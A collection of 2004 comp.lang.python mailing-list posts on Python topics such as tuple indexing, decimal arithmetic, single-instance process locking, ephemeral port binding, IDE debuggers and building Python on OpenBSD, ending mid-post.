Quoth Dan Christensen <jdc at uwo.ca>:
| I'm not sure I buy the arguments against an index operation for
| tuples.  For example, suppose we were conducting a vote about
| something, hmm, let's say decorator syntax.  <wink>  And suppose that
| each person is allowed three distinct votes, ranked in order, with the
| first vote getting 3 points, the second 2, and the third 1.  We might
| store the votes in a database, whose rows would naturally be tuples
| like
|
|   ('J2', 'C64', 'X11')
|
| Now suppose we want to calculate the total number of points for
| proposal X, but don't need to compute the totals for the other
| choices.  Code like the following would be a pretty natural
| approach:
|
|     for row in rows:
|         try:
|             points += 3-row.index(X)
|         except:
|             pass
|
| I realize that there are different ways to code it, but most
| are simply reimplementations of the proposed index function.

The algorithm is fine, it's the choice of sequence that's debatable.
Once you get index() for this application, next you'll want append().
After all, there's no apparent reason that at any time there must be
exactly 3 votes, so what if you want to collect data in several passes -

   for person, vote in data:
       try:
           row = votes[person]
       except KeyError:
           row = []
           votes[person] = row
       if len(row) < 3:
           row.append(vote)

Your application is really suited for a list or dictionary.  It can,
conceptually, support mutations like insert, delete and append, with
fairly obvious semantics in terms of your application.  I mean, if
you delete the first item, then the second item becomes the 3 point
vote, etc.  (In an application where that's not the case, then you
probably want a dictionary, where deleting whatever item has no
effect on the others.)  Compare with the mtime tuple returned by
time.localtime() - minus the first item, about the most you can say
is it's an mtime minus its first item.

No one is saying you must use a list then.  Do whatever you want!
But no one is forcing you to use a tuple, either (in this hypothetical
application), and if you need an index function, you know where to get it.

	Donn Cave, donn at drizzle.com


From tmohr at s.netic.de  Thu Sep  2 16:57:57 2004
From: tmohr at s.netic.de (Torsten Mohr)
Date: Thu, 02 Sep 2004 22:57:57 +0200
Subject: Sequence Protocol, assign item
Message-ID: <ch81gl$avb$1@schleim.qwe.de>

Hi everybody,

at the moment i try to write an extension module in C
and i implement the sequence protocol for the data type
i created.  Reading values works fine.

But assigning a value does not work correctly, has anybody
got an example for that?

The function type i have to create is intobjargproc, so
i need to return an "int".  Returning 0 or 1 does not seem
to work.

What can the return value be, what can i return her in case
of failure and in case od success?

I don't use any INCREF or DECREF inside my function, do i need
to do that for some parameters?  The exact error message i
don't have available at the moment, i'll bring that one tomorrow,
but it looks to me that at the cleanup at the end of the script
an exception is thrown somewhere.


Best regards,
Torsten.





From bokr at oz.net  Sun Sep 19 20:35:33 2004
From: bokr at oz.net (Bengt Richter)
Date: 20 Sep 2004 00:35:33 GMT
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
	<7xwtyqsmvu.fsf@ruckus.brouhaha.com>
	<cijurc$4gd$02$1@news.t-online.com>
Message-ID: <cil8kl$md2$0$216.39.172.122@theriver.com>

On Sun, 19 Sep 2004 14:41:53 +0200, Peter Otten <__peter__ at web.de> wrote:

>Paul Rubin wrote:
>
>> Peter Otten <__peter__ at web.de> writes:
>>> Starting with Python 2.4 there will be the 'decimal' module supporting
>>> "arithmetic the way you know it":
>>> 
>>> >>> from decimal import *
>>> >>> Decimal("12.10") + Decimal("8.30")
>> 
>> I haven't tried 2.4 yet.  After
>
>The auther is currently working on an installer, but just dropping it into
>2.3's site-packages should work, too.
>
>>     a = Decimal("1") / Decimal("3")
>>     b = a * Decimal("3")
>>     print b
>> 
>> What happens?  Is that arithmetic as the way I know it?
>
>Decimal as opposed to rational:
>
>>>> from decimal import *
>>>> Decimal(1)/Decimal(3)
>Decimal("0.3333333333333333333333333333")
>>>> 3*_
>Decimal("0.9999999999999999999999999999")
>
>Many people can cope with the inaccuracy induced by base 10 representations
>and are taken by surprise by base 2 errors.
>But you are right I left too much room for interpretation.
>
I hacked a little rational + decimal exponent representation based toy a while
back. The original post had a bug, which someone pointed out and I posted a
followup fix for, but the revised version was not posted. But I can if someone
is interested.

 >>> from ut.exactdec import ED
 >>> ED(1)/ED(3)
 ED('1 / 3')
 >>> 3*_
 ED('1')

If you give it a float, it wants to know how many decimals you mean:
 >>> ED(1./3)
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "c:\pywk\ut\exactdec.py", line 93, in __init__
     raise ValueError(
 ValueError: Specify decimals for least significant digit of 10**(-decimals)
 (decimals may also be specified as 'all' to capture all bits of float)

 >>> ED(1./3, 'all')
 ED('0.333333333333333314829616256247390992939472198486328125')

If you give it a string literal, it takes it as accurate, but you can round it
to create a new accurate number:
 >>> ED('1/3', 54)
 ED('0.333333333333333333333333333333333333333333333333333333')
 >>> ED('1/3', 60)
 ED('0.333333333333333333333333333333333333333333333333333333333333')

That's an accurate number that has all zeroes to the right of those 60 3's
 >>> ED('1/3', 60)*3
 ED('0.999999999999999999999999999999999999999999999999999999999999')

If you don't round, you get a fully accurate result"
 >>> ED('1/3')*3
 ED('1')

It's interesting to look at pi:
 >>> import math
 >>> math.pi
 3.1415926535897931
 >>> ED(math.pi, 'all')
 ED('3.141592653589793115997963468544185161590576171875')
 >>> ED(3.1415926535897931, 'all')
 ED('3.141592653589793115997963468544185161590576171875')

Same actual exact decimal value gets created from 
 >>>
 >>> repr(math.pi)
 '3.1415926535897931'

meaning they both have the same floating point hardware representation,
but the short version decimal literal is sufficient to set all the bits right
even though it doesn't represent the fully exact value in decimal.
Economy courtesy of the Timbot I think ;-)

I don't know what the rules in Decimal are for stage-wise rounding vs keeping
accuracy, but I imagine you could get the same kind of surprises that are
available in binary from floating point, e.g., 

 >>> from ut.exactdec import ED

Floating point:
 >>> acc = 1.0
 >>> for i in xrange(100): acc += 1e-300
 ...
 >>> acc
 1.0

That really is exactly 1.0
 >>> ED(acc,'all')

Now the calculation accurately:
 ED('1')
 >>> ecc = ED(1)
 >>> for i in xrange(100): ecc += ED('1e-300')
 ...
 >>> ecc
 ED('1.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
 0000000000000001')
 >>> ecc-1
 ED('1.0e-298')
 
If you add a small Decimal delta repeatedly, will it get rounded away like the floating point
version, or will accuracy get promoted, or what? Sorry, I haven't read the docs yet ;-/

Regards,
Bengt Richter


From bgabriel at cloudthunder.com  Wed Sep 29 14:45:37 2004
From: bgabriel at cloudthunder.com (Bishara Gabriel)
Date: Wed, 29 Sep 2004 14:45:37 -0400
Subject: Social Analysis and Modeling for Python
In-Reply-To: <10AC3CB6-1236-11D9-876C-0003939C968C@unito.it>
References: <415AD6A4.7000400@cloudthunder.com>
	<10AC3CB6-1236-11D9-876C-0003939C968C@unito.it>
Message-ID: <415B02D1.2070108@cloudthunder.com>

Latest Revision of Social Analysis and Modeling in Python:
http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf


From see at below.invalid  Tue Sep 28 04:55:19 2004
From: see at below.invalid (Paul Foley)
Date: Tue, 28 Sep 2004 20:55:19 +1200
Subject: floating point glitch
References: <415295E6.9040602@ericsson.com>
	<l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
	<cj5v5i$7vk$1@pegasus.csx.cam.ac.uk>
	<7xhdple624.fsf@ruckus.brouhaha.com>
	<kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com>
Message-ID: <m2lleusrgo.fsf@mycroft.actrix.gen.nz>

On Mon, 27 Sep 2004 23:21:12 -0700, Tim Roberts wrote:

> Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:
>> Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> writes:
>>> Actually, print essentialy uses str() to get the string
>>> representation. But repr(list) or str(list) still gets the repr() of
>>> each item of the list rather than the str():
>> 
>> >>> print .66
>> 0.66
>> >>> print [.66]
>> [0.66000000000000003]
>> 
>> Yucch!  Also, str is not invertible:

> Right!  That's the point.  str() is the perfect solution in those cases
> where you want the language to lie to you.  In many cases, that IS what you
> want.  repr() is the perfect solution when you need an invertible function.

The "perfect solution" is either: (a) to print the minimal number of
digits that can maintain print/read consistency -- in this case, that
means printing "0.66", or (b) to print the actual, exact, decimal
representation of the value -- in this case, that means printing
"0.66000000000000003108624468950438313186168670654296875"

And I think (a) is more perfect than (b) :-)


-- 
Malum est consilium quod mutari non potest             -- Publilius Syrus

(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From ialbert at mailblocks.com  Thu Sep  2 09:41:09 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Thu, 02 Sep 2004 09:41:09 -0400
Subject: design question
In-Reply-To: <mailman.2764.1094128858.5135.python-list@python.org>
References: <mailman.2760.1094120772.5135.python-list@python.org>	<E%DZc.26366$Z14.8555@news.indigo.ie>
	<mailman.2764.1094128858.5135.python-list@python.org>
Message-ID: <-KmdnUyLSrZrv6rcRVn-uQ@giganews.com>

Ajay wrote:

> so thats what i need to do. i read the policy and preferences as DOM
> hierarchies and then starting from rule1 in the preference, 

Do you really need a DOM representation for this? It seems to me that
you are sequentially reading the XML file to extract the
rules from it.

Try element-tree for a simple and fast, pure-python XML representation.

http://effbot.org/zone/element-index.htm

Istvan.


From jerf at jerf.org  Wed Sep  8 03:35:05 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Wed, 08 Sep 2004 07:35:05 GMT
Subject: Using Python to generate code?
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
Message-ID: <pan.2004.09.08.03.35.16.733137@jerf.org>

On Tue, 07 Sep 2004 23:51:38 -0700, Tran Tuan Anh wrote:
> printf(out, "for (%s = 1, %s < %s, %s < %s )", varName, varName,
> varName1, varname, varName2);
> 
> It is just too messy if I have more than 20 lines like this.

It looks like you want a templater. I don't know what such programs exist
for C++, if any, or how good they are. 

You may get a lot of milage out of just adding some utility functions, to
turn that to something like

forFromOne(out, var, max, min);

Changing languages is pretty drastic if you have working, trusted code.
(If those words don't describe your code, then that assessment may change.)

> So my question is: 
> 1. Can Python help to solve this issue?

Maybe a little, but if the above code snippet is representative, the
Python equivalent of that isn't much shorter. Python would start to shine
if you want to start doing smarter things with the data, but without
knowing about the data it is hard to be specific. Basically, the moment
you aren't just assembling strings, Python will *quite likely* have an
advantage. 

(I find it very likely that a Pythonic outlook on the problem would allow
significant simplification at acceptable effort levels, but I can't
*promise* that; if all you really, honestly need is printf, which I think
would be rare but certainly conceivable, then you may get no advantage.)

> 2. Does Python has a parser? It seems to me that there is no-standard
> Parser for Python right now. If it is the case, can I interface Python
> with existing cup and lex?

Why are you asking about a parser when you are talking about *outputting*
code? Is there something left out of the problem description?

There are a lot of parsers for Python, covering a wide range of needs.



From zanesdad at bellsouth.net  Thu Sep 30 08:32:55 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Thu, 30 Sep 2004 08:32:55 -0400
Subject: multiple instance on Unix
In-Reply-To: <D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com>
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>
	<415AF802.1080909@bellsouth.net>
	<D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com>
Message-ID: <415BFCF7.3090203@bellsouth.net>

Nigel King wrote:

> Jeremy,
> I have not explained very well what I wanted.
>
> I had a program that was called randomly by specific emails arriving 
> which asked for certain information. If two or more emails arrived 
> simultaneously then procmail asked two or more instances of my program 
> to run. These instances interfered with one another, so I needed a 
> process to stop that from happening. What my son devised was for the 
> first to create a directory and run and when finished to delete the 
> directory. The subsequent instances could try to create a directory 
> but fail in an atomic piece of code. They would sleep for 1 or more 
> seconds and then try again. The first of the subsequent instances that 
> tries and succeeds stops the others from succeeding.
>
> Now, this works but I wondered whether anybody knew of a more standard 
> bit of python code was available for ensuring that only one instance 
> was processing. mutex does it for threads but not for instances as I 
> understand it.
>
> The specification for a better process would include the ability to 
> ensure that the queue was orderly, in other words some sort of FIFO 
> would ensure that first served would have been the first to request 
> the lock and fail.
>
> Our solution which does not satisfy the previous paragraph.
>
> import os, time
> try:
>     # This program is not thread safe so we must protect it from being
>     # trampled over by another copy
>     # pause if another email is being processed for half an hour maximum
>     t = time.time()+1800
>     locked = True
>     while locked and time.time() < t:
>         try:
>             os.mkdir('instancelck')
>             locked = False
>             pass
>         except :
>             time.sleep(1)
>             pass
>         pass
>     # do everything else
>     .......
> finally :
>     os.rmdir('instancelck')
>     # Removes the thread locking device so that another copy may run
>     pass
>
> The timer was in case for any reason finally did not run successfully 
> ever.
>
> Facundo's solution I have not yet studied.
>
> Thanks
>
> Nigel
>
>

Nigel,

So, basically you have a working solution.  Couple of things, though.  
You may want to modify your

finally:
    os.rmdir()

to

finally:
    if not Locked:
       os.rmdir()

otherwise, if one of them times out, it's going to delete that directory. 

Also, you probably want to tighten that except statement down to "except 
OSError" so that you are handling  the only exception that should be 
raised right in that block of code.  If something goes batty and raises 
another type of exception, you probably want to fall into your filly 
condition, log it (are you logging with this application?), then let 
finally raise the exception up.

This last one is just a matter of preference, but you could remove most 
of those "pass" statements.  They're not hurting anything, but it's just 
a little cluttered.

OK - not I know that you weren't looking for comments on your code, but 
you got it for free, right?  ;-)  Anyway, to your question.  Is there a 
better way of doing this than the way you are doing it?  Probably, but I 
don't know for sure what a good answer is.  Frankly, this approach both 
scares the pants off of me and gives me an upset stomach.  I'm guessing 
you must be feeling at least a little of that sentiment or you wouldn't 
be asking if there's another way to do this.  I've just seen this type 
of thing abused and lead to all kinds of weird and undiagnosable 
problems.  When you're using the filesystem as either a locking 
mechanism or as a source of state information, that just smells like the 
wrong solution to me, but I'm probably biased against it from experience.

So, what are the alternatives.  This may be way over kill, but maybe you 
could have procmail kick off a web-services-ish script and talk to a 
centralized server process (either XMLRPC or SOAP or something like 
that).  Then you could put the locking in the server process and not 
have to deal with it from the procmail-spawned scripts.  And, actually, 
if you used something like SimpleXMLRPCServer, you wouldn't have to do a 
thing.  The first request would be handled and processed, while the 
second and subsequent requests would block until the first (or next in 
the case of subsequent requests) request finished.  But, how do you make 
sure you've only got one XMLRPCServer running? ;-)

Another option is a recipe that is on the ASPN Python Cookbook site for 
this type of thing:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/252495
But at a glance it looked like more of the same of what you've already done.

Another alternative is to use the builtin procmail locking as others 
have suggested.  I googled on it and the most frequent recurring word 
pattern was "procmail lock failure", so I'd be a little afraid of that.  
But it'd be worth looking into nonetheless.

I don't know if in *NIX OSes if you can somehow register an instance of 
a process and make any subsequent registration block execution until the 
running one terminates.  That would be ideal.

Anyway, these are my thoughts.


Jeremy Jones


From bradtilley at usa.net  Mon Sep 13 20:20:35 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Mon, 13 Sep 2004 20:20:35 -0400
Subject: check for unused ports and then grab one
In-Reply-To: <mailman.3282.1095120331.5135.python-list@python.org>
References: <ci502a$e77$1@solaris.cc.vt.edu>	<mailman.3268.1095108346.5135.python-list@python.org>	<9vhh12-suo.ln1@lairds.us>	<41462666.9060606@usa.net>
	<mailman.3282.1095120331.5135.python-list@python.org>
Message-ID: <41463953.1080601@usa.net>

Erik Heneryd wrote:

> Brad Tilley wrote:
> 
>> Cameron Laird wrote:
>>
>>> Incorrect, if I understand you both; *UNIX Network Programming*
>>> has said for years that
>>>   The process can let the system automatically assign   a port.  For 
>>> both the Internet domain and the XNS
>>>   domain, specifying a port number of 0 before calling
>>>   bind() requests the system to do this.
>>> While I've never tracked down an RFC that specifies this, it surely
>>> exists.
> 
> 
> Ah.  Nothing you use very often.  Closest I've come is opening a 
> (random) port in some interval.
> 
>> This works... even on winXP... thank you!
> 
> 
> Not very surprising considering that it's network code is based on BSD.
> 
> 
> Erik

Yeah, if it wasn't for the BSD license, Microsoft and Apple would have 
been forced to write more code than they have... there really is a 
merciful God ;)



From aurora00 at gmail.com  Thu Sep 16 15:56:39 2004
From: aurora00 at gmail.com (aurora)
Date: Thu, 16 Sep 2004 12:56:39 -0700
Subject: too many self
In-Reply-To: <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca>
References: <opsedyrils6yt6e7@news.cisco.com>
	<ciabc0$seb$00$2@news.t-online.com>
	<opsed4rmyp6yt6e7@news.cisco.com>
	<4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca>
Message-ID: <10kjrvs2hmb19a5@corp.supernews.com>

Peter Hansen wrote:
> aurora wrote:
> 
>> On Wed, 15 Sep 2004 23:14:47 +0200, Diez B. Roggisch
>>
>>> class ThreadPrinter:
>>>     def __init__(self):
>>>         _.fhs = {}
>>>
>>>     def write(self, value):
>>>         f = _.fhs.get(threading.currentThread(),
> 
> ....
> 
>> Thanks this is a nice idea. I hope Python would actually support the 
>> '_'  syntax. The self really reduce readablity, especially if you have 
>> several  of them in one line.
> 
> 
> It does!  One just has to be consistent within each function.
> Diez changed the code from something like this:
> 
> def __init__(_):
>     _.fhs = {}
> 
> def write(_, value):
>     f = _.fhs.get(threading.currentThread(),
> ...
> 
> Some would argue that this is actually less readable, however,
> since it uses punctuation instead of a word.  If nothing else,
> you run into a bit of a conflict between your own technique,
> with "_", and the vast majority of the rest of the Python world,
> which uses "self" exclusively, leading to situations like this
> one...
> 
> (I think if I had a routine that really heavily used self,
> to the obvious detriment of readability, and it wasn't clear
> how else to improve it, I would use a local assignment at
> the top to make a shorter name, perhaps "s", or even "_" --
> but I wouldn't use the possibility of such a thing as a
> justification for using _ everywhere.)
> 
> -Peter

Didn't aware that _ itself is a valid identifier! True, you don't really 
want to do things differently from convention. I'm just ranting about 
the verbosity of self.

This doesn't take a complicated statement to make it really clumsy. Some 
simple statement would look like this:

   if self.max < self.list[self.index]:
      self.max = self.list[self.index]:

Replacing self with _, depends on one's aesthetic, it could be ugly or 
it could be cleaner. I like it that it is not a word and it does not 
interfere with the keywords that's really relevant.

   if _.max < _.list[_.index]:
      _.max = _.list[_.index]:

Of couse I think this syntax the best:

   if max < list[index]:
      max = list[index]:

This remind me of those awful Hungarian notation.

aurora


From gen2n at seznam.cz  Fri Sep 17 02:07:34 2004
From: gen2n at seznam.cz (p.kosina)
Date: Fri, 17 Sep 2004 08:07:34 +0200
Subject: glade - SOLVED
In-Reply-To: <41499007$1@sia.uibk.ac.at>
References: <ci3jd7$5e8$1@news.vol.cz> <414579e1$1@sia.uibk.ac.at>
	<41457a1b$1@sia.uibk.ac.at> <ci6icc$1sir$1@news.vol.cz>
	<41475653@sia.uibk.ac.at> <cib7tr$1hgf$1@news.vol.cz>
	<41499007$1@sia.uibk.ac.at>
Message-ID: <cidv0p$2q9$1@news.vol.cz>

I  execute first three steps +  copy libglade-2.0.0.dll to GTK/2.0/bin 
and everything works now fine.
Thank you
Pavel


Poissonnier Julien napsal(a):

> It could be a problem with DLLs from a previous GTK version:
> http://mec-symonds.eng.monash.edu.au/cgi-bin/twiki/view/Saqqara/Gtk4Win32
> 


From claird at lairds.us  Mon Sep 13 18:08:10 2004
From: claird at lairds.us (Cameron Laird)
Date: Mon, 13 Sep 2004 22:08:10 GMT
Subject: check for unused ports and then grab one
References: <ci502a$e77$1@solaris.cc.vt.edu>
	<mailman.3268.1095108346.5135.python-list@python.org>
Message-ID: <9vhh12-suo.ln1@lairds.us>

In article <mailman.3268.1095108346.5135.python-list at python.org>,
Erik Heneryd  <erik at heneryd.com> wrote:
>Brad Tilley wrote:
>> Instead of me arbitrarily assigning a high port number to a variable, is 
>> it possible to check for ports that are unused and then randomly assign 
>> one of them to a variable?
>
>No.  Trial and error until you find one.
			.
			.
			.
Incorrect, if I understand you both; *UNIX Network Programming*
has said for years that
  The process can let the system automatically assign 
  a port.  For both the Internet domain and the XNS
  domain, specifying a port number of 0 before calling
  bind() requests the system to do this.
While I've never tracked down an RFC that specifies this, it surely
exists.


From danperl at rogers.com  Tue Sep 28 02:11:38 2004
From: danperl at rogers.com (Dan Perl)
Date: Tue, 28 Sep 2004 02:11:38 -0400
Subject: False exceptions?" (was Re: theme of the week: tools
References: <mailman.3990.1096338692.5135.python-list@python.org>
Message-ID: <IvKdnTbsYc4DncTcRVn-jA@rogers.com>

Stephan,

Look at it from my point of view.  First script I debug with Wing IDE I get 
one of those false positives.  I am debugging a script and debugging 
includes looking for exceptions and this debugging tool tells me to ignore 
exceptions.  It's annoying and I'm trying to figure it out and I see an 
explanation that's sounds like "this is not really a problem and it is 
happening because Wing IDE is so great".  What would you be thinking?

I do believe now that from a technical point of view you made the right 
decision.  That's because you are giving users both choices (there is 
actually also a third choice, "Always Stop").  I figured out only after 
trying Wing that it was possible to run also in a mode where the debugger 
does not stop at the point where the exception is raised.  So you are giving 
both modes, one that is very powerful (even if it has the "false positives") 
and one that is good enough in most cases, IMO, and does not have the "false 
positives".  That's all fair.

However, I still think that the "official" explanation for the "false 
positives" is pathetic.  I didn't see it in only one place, it's all over. 
It was the explanation I first got in the IDE when I encountered the "false 
positive" and I found it throughout the documentation and in support replies 
to users (it's amazing what one can find).  Basically, the explanation is 
"it's not a bug, it's a feature".  And "just ignore".  And it will happen 
only 1-2 times, or 3-4 times...

Here's how I would have explained it.  "This exception may be a false 
positive.  We are sorry about that, but here is why we are doing it this 
way, and we are also giving you the option to run it the other way."  Your 
posting was actually in line with this.  You even used that valuable "sorry" 
word.  Thank you.

Obviously, I was more sensitive to it than other people.  Why?  I don't 
know.  Maybe it just caught me at a bad time, but I still think it's wrong. 
BTW, the "useful exception related feature" makes me think of Bush's 
"weapons of mass destruction-related program activities".  That's how low I 
think of it.  (I know you're not responsible for that, Stephan, you didn't 
have to apologize for it.)

As for my choice?  I will stick with Komodo.  Not only because I already 
paid for it, but I think it does fit my needs better.  I am using it for 
personal use, on a one-person project of my own.  Something like Wing's 
exception detection or other power tools are not really useful for me.  I 
just started using wxPython and maybe as I get deeper into that I will be 
proven wrong, but exceptions are normally not even a big issue for me.  My 
debugging is usually only for correctness of results, so breakpoints and 
stepping through is all I need.  For the rare exception that I can't figure 
out from the traceback, I can always just put a breakpoint and run again.  I 
like the UI of Komodo more (sorry, Stephan, but Wing's Project view sucks, I 
hope you didn't work on that too).  I even prefer the code completion the 
way it's done in Komodo, but maybe that's because I got used to it.  And 
once again, a class browser is important to me.  Wing's drop-down selections 
for classes and methods don't make up for it, they don't give that graphical 
view of a class's structure.  In a nutshell, I used Komodo for a month and I 
was absolutely satisfied with it; I still thought I should make an informed 
decision so I tried also Wing, but after 2 days I had only disappointments.

Dan

"Stephan Deibel" <sdeibel at wingware.com> wrote in message 
news:mailman.3990.1096338692.5135.python-list at python.org...
> Hi,
>
> I'm the dope that co-wrote this thing, so here's the technical background:
>
> The "false exceptions" thing is a technical limitation of detecting
> whether or not an exception is going to lead to program termination at the
> moment it is raised, rather than later when exiting the program.  We go up
> the stack to inspect Python byte code, and since we can't see into C/C++
> object code we sometimes get it wrong.  We call it a "false positive"
> because it's the same as a blood test telling you you've got something
> that you don't.
>
> Believe it or not, we were not just being dumb:  We weighed having a
> necessarily imperfect but useful feature with not having the feature at
> all.  Same as having an imperfect blood test rather than not at all.  In
> fact, from feedback, it seems most people agree that ignoring a few
> exceptions during the first debug run is worth always being able to
> inspect the unaltered program state seen immediately at the moment the
> exception is raised (before, e.g., 'finally' clauses are executed).
> That's why it's on by default, but can be turned off in prefs.
>
> Maybe we got that wrong, but I dunno... the people we hear from may not
> represent the overall experience.
>
> Dan Perl wrote:
>> No, this is NOT a "useful exception related feature", it's a workaround
>> for a bug.
>
> I think I'd have to agree that the paragraph you cited muddles up the
> utility of ignoring exceptions with under-explaining the false positives.
> The feature is not just there as a workaround but it's probably fair to
> say that's 99% of what it's used for.  Sorry about that.
>
> BTW, the 10 day trial can be renewed automatically.  Then if you run out,
> just ask for more time.  No problem.  Deciding the duration of trials is a
> nasty business decision that's not easy to make.  I can't really make
> excuses -- it's just how it is right now.
>
> Stephan Deibel
>
> --
> Wingware
> Wing IDE for Python
> Advancing Software Development
>
> www.wingware.com 




From russblau at hotmail.com  Mon Sep 20 12:53:09 2004
From: russblau at hotmail.com (Russell Blau)
Date: Mon, 20 Sep 2004 12:53:09 -0400
Subject: some basic questions...
References: <cimv3o$a51$1@newsg2.svr.pol.co.uk>
Message-ID: <2r8g8mF16tfdqU1@uni-berlin.de>

"Player" <guess at My.email.address.scum.com> wrote in message
news:cimv3o$a51$1 at newsg2.svr.pol.co.uk...
>
> [book quote]
> When a file containing python code is executed, the built in variable
_name_
> is populated with the name of the module being executed. If the value of
> _name_ is _main_, then that file is the original file that was used to
> invoke the application from command line or an icon.
> This is usefull, as it allows code to know the difference between when it
is
> invoked & when it is imported by another python program. It is also
provides
> a convenient place to provide one-time startup code.
> [end quote]

Actually it is '__name__' and '__main__', with *two* _ characters both
before and after.  You need to be careful about the underscores when using
built-in names like these, because typing them with just one _ will not work
at all!

As for how to use __name__ and the importing modules question, I suggest you
read http://www.python.org/doc/current/tut/node8.html


-- 
I don't actually read my hotmail account, but you can replace hotmail with
excite if you really want to reach me.




From steven.bethard at gmail.com  Wed Sep  8 20:38:04 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Thu, 9 Sep 2004 00:38:04 +0000 (UTC)
Subject: itoa (WAS: Re: %a format)
References: <mailman.2992.1094581774.5135.python-list@python.org>
	<usm9tx5n3.fsf@broadpark.no> <10jsqrm2rsqdc39@news.supernews.com>
	<ad052e5c.0409081611.361c5a01@posting.google.com>
Message-ID: <loom.20040909T023510-231@post.gmane.org>

> class Bits(int):
>    def __sprintf__(self, flags, precision, conversion):
>       if conversion == 'b':
>          # return a binary string
>          return itoa(self, 2) # Why isn't this a standard function?
>       else:
>          return NotImplemented

Well, I'm guessing itoa isn't a standard function because it's not that 
commonly used...  Not that I'm claiming to have written the widest variety of 
Python code, but I've never needed it.

It is available though through a relatively short sequence of builtins though:

>>> def itoa(i, base):
...     return str(int(str(i), base))
...
>>> itoa(100, 2)
'4'

A little roundabout, but it does do the trick.

Steve



From martin at v.loewis.de  Fri Sep 17 14:56:06 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 17 Sep 2004 20:56:06 +0200
Subject: How do I build Python 2.3.4 on OpenBSD 3.5?
In-Reply-To: <c9d82136.0409170928.5e38aa97@posting.google.com>
References: <c9d82136.0409151101.730f8865@posting.google.com>
	<41489418$0$26168$9b622d9e@news.freenet.de>
	<c9d82136.0409170928.5e38aa97@posting.google.com>
Message-ID: <414b3343$0$32661$9b622d9e@news.freenet.de>

Noah wrote:
> Is it more correct to say that Python does not support OpenBSD?
> It seems like the language should support the OS and not the other way around.

People usuall think that way, yes. However, in this case, it is really
the other way 'round. OpenBSD claims to implement certain
specifications required by Python, but then actually doesn't. Python
could accept systems that make no such claim, or systems that make
the claim and then fully implement the specification (POSIX in this
case). OpenBSD falls in the middle category of systems making false
or confusing claims.

> What limitations are there for Python on OpenBSD? What work-arounds does
> Python have to take? It looks like it undefines _XOPEN_SOURCE.
> Does this limit features on OpenBSD?

No, it (wrongly) exposes them. OpenBSD "honors" _XOPEN_SOURCE, but
incorrectly. If you define _XOPEN_SOURCE on OpenBSD (which one is
entitled to do on any POSIX system), then some system headers fail
to compile. It would be fine if the system headers offered less
functionality in that case, or more - in no case they should stop
to compile. Python requires that systems either totally ignore
_XOPEN_SOURCE, or honor it by reacting accordingly. Failure to
compile is not a proper reaction.

Many systems currently have the similar flaws, since nobody dares
defining _XOPEN_SOURCE. Since Python needs to define _XOPEN_SOURCE
on some systems (most notably Tru64), and it is "the right thing"
on any system claiming POSIX conformance, and should not hurt on
all other systems, Python defines it always, and exempts a few
specific systems which are known to be broken.

Some vendors have acted since and fixed their systems, e.g. Sun
with Solaris 7 and later. Others, like the OpenBSD maintainers,
unfortunately fail to do so to date.

> Should it be a bug that configure doesn't also do this for OpenBSD 3.5?
> Although Python 2.3.4 came out before OpenBSD 3.5.

Right. Furthermore, we do hope that some OpenBSD release will fix that
bug. Then, we can gradually remove the work-arounds for older BSD
releases when these systems come out of use. For that procedure,
we need to check every OpenBSD release again whether it supports
POSIX properly.

I just recently added a change to Python 2.4 so it extends the
work-around for 3.5, so Python 2.4 should build on OpenBSD 3.5
out of the box.

Regards,
Martin


From eric_brunel at despammed.com  Tue Sep 14 11:43:55 2004
From: eric_brunel at despammed.com (Eric Brunel)
Date: Tue, 14 Sep 2004 17:43:55 +0200
Subject: [OT] Re: Ranting about the state of Python IDEs for Windows
References: <864d3709040913131077f1732d@mail.gmail.com>	<HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com>
	<mailman.3307.1095171351.5135.python-list@python.org>
Message-ID: <ci7352$ijm$1@news-reader1.wanadoo.fr>

Carlos Ribeiro wrote:
[snip]
> p.s. I know that there is another solution for this problem... but
> involves money (a lot of). Have a couple of big monitors (21',
> anyone?), side by side, and open as many windows as you wish. Position
> them where you want them to be, without overlapping. That's happiness
> :-)

You may not have to go as far as that: XDesk 
(http://www.xdesksoftware.com/xdesk.html) allows you to create several virtual 
desktops on the same screen on Windows, similar to the workspaces you can find 
in many X window managers like KDE or WindowMaker. It's a commercial product, 
but there's a free version; it has fewer functions, but is perfectly usable.

HTH
-- 
- Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From PeterAbel at gmx.net  Wed Sep  8 14:05:18 2004
From: PeterAbel at gmx.net (Peter Abel)
Date: 8 Sep 2004 11:05:18 -0700
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
Message-ID: <21064255.0409081005.2dadcdb@posting.google.com>

"Stan Cook" <scook at elp.rr.com> wrote in message news:<ysv%c.32876$Dl4.14767 at fe2.texas.rr.com>...
> I was trying to take a list of files in a directory and remove all but 
> the ".dbf" files.  I used the following to try to remove the items, but 
> they would not remove.  Any help would be greatly appreciated.
> 
> x = 0
